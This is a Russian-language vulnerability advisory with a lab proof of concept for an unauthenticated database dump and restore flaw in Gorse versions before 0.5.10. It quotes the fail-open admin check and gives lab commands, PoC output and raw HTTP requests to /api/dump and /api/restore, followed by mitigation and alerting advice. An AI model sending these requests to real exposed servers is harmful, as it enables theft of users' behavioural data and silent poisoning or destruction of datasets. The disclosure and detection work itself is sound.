CVE-2026-56782 — Gorse <0.5.10 без аутентификации дамп/восстановление БД (admin_api_key fail-open). Lab + PoC, подтверждено e2e.
Gorse
< 0.5.10поставляется сadmin_api_key = "". Главные HTTP-эндпоинты/api/dumpи/api/restoreзащищены проверкой администратора, которая открывает доступ при сбое (fails open), когда ключ не настроен — это поведение по умолчанию. Неаутентифицированный злоумышленник, имеющий сетевой доступ, может извлечь весь набор данных (пользователей, элементы, отзывы / PII) или перезаписать его.
| CVE | CVE-2026-56782 |
| Affected | Gorse < 0.5.10 |
| Fixed | 0.5.10 |
| Class | CWE-305 (Authentication Bypass by Primary Weakness) / CWE-306 (Missing Auth) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Аутентификация | Нет (по умолчанию admin_api_key пустой) |
| Эндпоинты | GET /api/dump, POST /api/restore (master HTTP, порт по умолчанию 8088) |
| Статус | ПОДТВЕРЖДЕНО — воспроизведено от начала до конца на zhenghaoz/gorse-in-one:0.5.8 |
master/rest.go защищает обработчики дампа/восстановления с помощью checkAdmin():
func (m *Master) checkAdmin(request *http.Request) bool {
if m.Config.Master.AdminAPIKey == "" {
return true // <-- fail-open: no key configured => everyone is admin
}
if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
return true
}
return false
}
func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // streams every user, item and feedback row
}
func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // m.Restore(request.Body) — overwrites the dataset
}
В поставляемом файле config/config.toml установлено admin_api_key = "". При конфигурации по умолчанию checkAdmin() возвращает true для каждого запроса — заголовок X-API-Key никогда не проверяется — поэтому оба эндпоинта доступны для чтения и записи любому.
GET /api/dump передает полную базу данных: все идентификаторы и метки пользователей, все элементы и весь граф обратной связи (кто с чем взаимодействовал). Для рекомендательной системы, поддерживающей реальный продукт, это массовые PII / поведенческие данные.POST /api/restore заменяет набор данных содержимым, предоставленным злоумышленником, что позволяет бесшумно отравить данные или уничтожить их.# 1. Start the vulnerable server (official image, default config = no auth).
docker compose -f lab/docker-compose.yml up -d
# --playground seeds a real users/items/feedback dataset to exfiltrate.
# 2. Run the PoC (no credentials).
python3 exploit.py http://127.0.0.1:8088 -o dump.bin
Наблюдалось:
[*] GET http://127.0.0.1:8088/api/dump (без заголовка X-API-Key)
[*] HTTP 200 content-type: application/octet-stream
[+] ПОДТВЕРЖДЕНО НЕАУТЕНТИФИЦИРОВАННОЕ ИЗВЛЕЧЕНИЕ ДАННЫХ
users : 2079
items : 22320
feedback : 331901
payload : 262747105 protobuf bytes
sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973
[*] POST http://127.0.0.1:8088/api/restore (без заголовка X-API-Key, тело только EOF)
[+] HTTP 200 (не 401) - checkAdmin обойден: /api/restore доступен для записи без аутентификации.
Фиктивный заголовок X-API-Key по-прежнему возвращает 200 — это подтверждает, что ключ полностью игнорируется, когда admin_api_key не установлен (путь fail-open), а не просто не совпадает.
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream
<dump stream: int64 LE markers (-1 users, -2 items, -3 feedback, 0 EOF) + length-prefixed protobuf>
admin_api_key (и учетные данные dashboard), завершайте TLS перед мастером и никогда не открывайте мастер-порт HTTP (8088) для ненадежных сетей.Срабатывайте оповещение на GET /api/dump или POST /api/restore к мастер-порту от любого клиента, не имеющего действительного заголовка X-API-Key, а также на большие ответы с типом application/octet-stream от /api/dump.
Смотрите ANALYSIS.md для потока запросов, формата потока дампа и патча.